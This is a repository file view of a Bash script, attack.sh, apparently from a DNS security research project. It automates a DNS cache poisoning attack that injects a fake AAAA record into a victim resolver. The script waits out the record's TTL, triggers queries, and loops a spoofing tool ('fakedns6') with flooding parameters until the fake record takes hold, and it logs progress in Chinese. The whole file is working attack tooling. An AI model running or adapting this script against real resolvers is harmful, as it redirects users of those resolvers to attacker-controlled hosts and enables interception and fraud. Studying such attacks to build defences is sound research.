This repository has been archived on 2025-09-14. You can view files and clone it, but cannot push or open issues or pull requests.
Files
shihaoyue-yy-deploy-script/4_v6_injection/attack.sh

61 lines
1.9 KiB
Bash
Raw Normal View History

2024-09-30 15:52:30 +08:00
#!/bin/bash
# This is a sample attack script and may not work properly. Please adjust the parameter accordingly.
# $1 for victim resolver IP, $2 for attacker-controlled domain, $3 for iface name, $4 for victim domain name, $5 for victim domain nameserver IP
# Please run with sudo.
# Verify the existing record domain, just for proof purposes.
2024-10-08 13:39:52 +08:00
./output "PAYLOAD" "query response AAAA victim.ee64.fun AAAA <fake-record>"
./output "INFO" "程序开始运行"
# echo '获取原记录中:'
# dig @$1 $4 AAAA
2024-09-30 15:52:30 +08:00
sleeptime=`dig @$1 $4 AAAA | grep -o -P '[0-9]+[ \t]*IN' | head -n 1 | sed 's/IN//g'`
var=0
num=0
success=0
while [ $success -ne 1 ]
do
success=0
2024-10-08 13:39:52 +08:00
# echo "等待缓存过期,$sleeptime秒之后开始攻击..."
./output "INFO" "等待缓存过期,$sleeptime秒之后开始攻击..."
2024-09-30 15:52:30 +08:00
sleep $sleeptime
2024-10-08 13:39:52 +08:00
# echo "开始攻击"
./output "INFO" "开始攻击"
2024-09-30 15:52:30 +08:00
# flood
2024-10-08 13:39:52 +08:00
# echo "攻击参数:"
# echo "目标域名权威服务地址:$5"
# echo "目标解析服务地址:$1"
# echo "目标域名:$4"
2024-09-30 15:52:30 +08:00
ret=$(./dns_query.sh $1 $2 $3 $4)
#echo "ret:$ret"
2024-10-08 13:39:52 +08:00
# echo "初始化工具环境"
2024-09-30 15:52:30 +08:00
sleep 1
2024-10-08 13:39:52 +08:00
# echo "尝试触发权威服务器请求速率限制"
2024-09-30 15:52:30 +08:00
sleep 3
FINAL=`echo ${ret: -1}`
#echo "fin:$FINAL"
# Start attack
# Change the argument accordingly
2024-10-08 13:39:52 +08:00
# echo "执行侧信道攻击脚本中"
2024-09-30 15:52:30 +08:00
./fakedns6 -a $5 -b $1 -i $3 -n $4 -r $1 -t 50000 -at $2 -tg 0 -s 10000 -e 65000 -j 0
sleep 30
# Validations
((var++))
2024-10-08 13:39:52 +08:00
# echo "第$var轮次攻击结束"
./output "INFO" "$var轮次攻击结束"
# dig @$1 $4 AAAA
2024-09-30 15:52:30 +08:00
if [ "$FINAL" == "0" ];then
success=1
sleeptime=0
fi
2024-10-08 13:39:52 +08:00
# echo '如果结果未改变, 需要等待原缓存过期. 或者按 Ctrl-C取消攻击.'
2024-09-30 15:52:30 +08:00
done
# success
2024-10-08 13:39:52 +08:00
# echo '检测到攻击成功实现'
# echo '等待两秒,再次请求...'
# sleep 2
# dig @$1 $4 AAAA
# echo '攻击已完成!!!!'
./output "INFO" "程序结束运行"
sleep 10